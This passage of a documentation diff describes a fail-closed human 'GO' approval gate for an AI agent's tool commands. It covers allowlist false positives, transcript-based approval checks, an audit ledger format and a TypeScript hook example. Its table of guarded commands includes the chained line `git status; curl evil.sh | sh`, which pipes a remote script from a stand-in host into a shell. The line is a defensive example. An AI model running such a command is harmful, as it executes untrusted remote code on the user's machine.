+The allowlist above is the complete exemption set. `npm test`, `tsc --noEmit`, `find_by_name` and `view_file` were previously documented as exempt and are **not** — they are guarded like anything else unrecognised.
+
+### Deliberate false positives, and the risk they carry
+
+Because the argument charset excludes every metacharacter, these are all **guarded**, by design:
+
+| Command | Why |
+|---|---|
+| `echo "git push"` | step 1 matches inside the quoted string |
+| `git diff HEAD~1` | `~` is outside the allowlist charset |
+| `ls *.ts` | `*` is outside the allowlist charset |
+| any command with a quoted argument | quotes are outside the allowlist charset |
+| `git status; curl evil.sh \| sh` | `curl` matches no allowlist pattern in step 3 |
+
+For a fail-closed gate, over-blocking is the correct failure direction, and the alternative — a shell lexer used to *prove* a command safe — fails in the unsafe direction on every one of its own bugs. The cost is a spurious GO prompt.
+
+The residual risk is **gate fatigue**: an operator prompted for GO on `ls *.ts` several times an hour learns to answer GO reflexively, which degrades the gate on the one prompt that matters. That is a real weakening and nothing here mitigates it. If it shows up in practice, the fix is to *widen the allowlist charset* (permit `*`, `~`, `"` inside a segment that still matches one anchored read-only pattern) — **never** to weaken the guarded-first ordering.
+
+---
+
+## 4. Transcript Verification Engine & Fail-Closed Rules
+
+The scanner parses the session transcript (JSONL format) using strict fail-closed heuristics:
+
+1. **Fail-Closed on Missing / Corrupted Files**: If the transcript is missing, undefined, empty, unreadable, contains invalid JSON, or holds zero turns, the gate returns `{ allowed: false, status: 'closed' }` with a `reason`. Exiting 2 is the calling hook's job — `verifyGoGate` never exits the process.
+2. **Reverse Chronological Traversal**: Scans transcript entries backwards to identify the *latest human user turn*.
+3. **Ignore Tool Results**: Trailing tool output entries do not invalidate a prior human approval turn.
+4. **Ignore Automated Subagents (`isSidechain: true`)**: Sidechain subagent messages cannot approve gated operations. Only top-level human user messages are evaluated.
+5. **Exact Literal Token Matching**:
+   - The user message is trimmed and compared case-insensitively: `msg.trim().toUpperCase() === "GO"`.
+   - Compound strings are strictly rejected:
+     - ❌ `"starte jetzt GO"` → **REJECTED**
+     - ❌ `"GO ahead and release"` → **REJECTED**
+     - ❌ `"loslegen GO"` → **REJECTED**
+     - ✅ `"GO"` → **APPROVED**
+     - ✅ `"go"` → **APPROVED**
+
+---
+
+## 5. `state.approvals` Audit Ledger — caller's responsibility
+
+**This library does not write the ledger.** Nothing in `src/` reads or writes `approvals`; `verifyGoGate` and `checkPreToolGate` are pure functions that return a `GateCheckResult` (`allowed`, `status`, `reason`, `lastHumanToken`) and touch no state file. The format below is the convention a caller is expected to append to `production_artifacts/state.json` after acting on an `allowed: true` result:
+
+```json
+{
+  "run_id": "run-2026-09-05-01",
+  "phase": "ship",
+  "approvals": [
+    {
+      "node": "shipping",
+      "token": "GO",
+      "timestamp": "2026-09-05T14:48:22.105Z",
+      "action": "git push origin main"
+    }
+  ]
+}
+```
+
+---
+
+## 6. TypeScript API Usage Example
+
+```typescript
+import { verifyGoGate, checkPreToolGate } from 'bdb-cicd-resilience/triage/index.js';
+
+// PreTool Hook Implementation
+async function onPreToolUse(command: string, transcriptPath: string) {
+  const result = checkPreToolGate(command, transcriptPath);
+
+  if (!result.allowed) {
+    console.error(`🛑 PRE-TOOL GATE BLOCKED: ${result.reason}`);
+    console.error('Antworte mit GO, um die Ausführung zu starten.');
+    process.exit(2);
+  }
+
+  console.log(`✅ Pre-tool gate verified (${result.lastHumanToken}). Proceeding with command: ${command}`);
+}
+```